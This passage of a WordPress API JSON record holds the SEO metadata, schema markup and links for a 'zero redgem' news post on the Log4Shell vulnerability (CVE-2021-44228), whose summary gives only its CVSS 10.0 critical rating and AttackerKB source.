redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-06T01:01:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3117\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3117#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2021-44228 (Log4Shell)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CVE-2021-44228 (Log4Shell) - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=3117","og_locale":"en_US","og_type":"article","og_title":"CVE-2021-44228 (Log4Shell) - zero redgem","og_description":"Security Update News Update Information Title CVE-2021-44228 (Log4Shell) Update ID AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94 Type attackerkb Published 2025-05-05T00:00:00 Last Updated 2025-05-05T00:00:00 Security Impact CVSS Score 10.0 Severity CRITICAL...","og_url":"https:\/\/zero.redgem.net\/?p=3117","og_site_name":"zero redgem","article_published_time":"2025-05-06T01:01:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=3117#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=3117"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"CVE-2021-44228 (Log4Shell)","datePublished":"2025-05-06T01:01:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=3117"},"wordCount":234,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["attackerkb","CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=3117#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=3117","url":"https:\/\/zero.redgem.net\/?p=3117","name":"CVE-2021-44228 (Log4Shell) - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-06T01:01:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=3117#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=3117"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=3117#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"CVE-2021-44228 (Log4Shell)"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3117","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3117"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3117\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3117"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3117"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3117"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}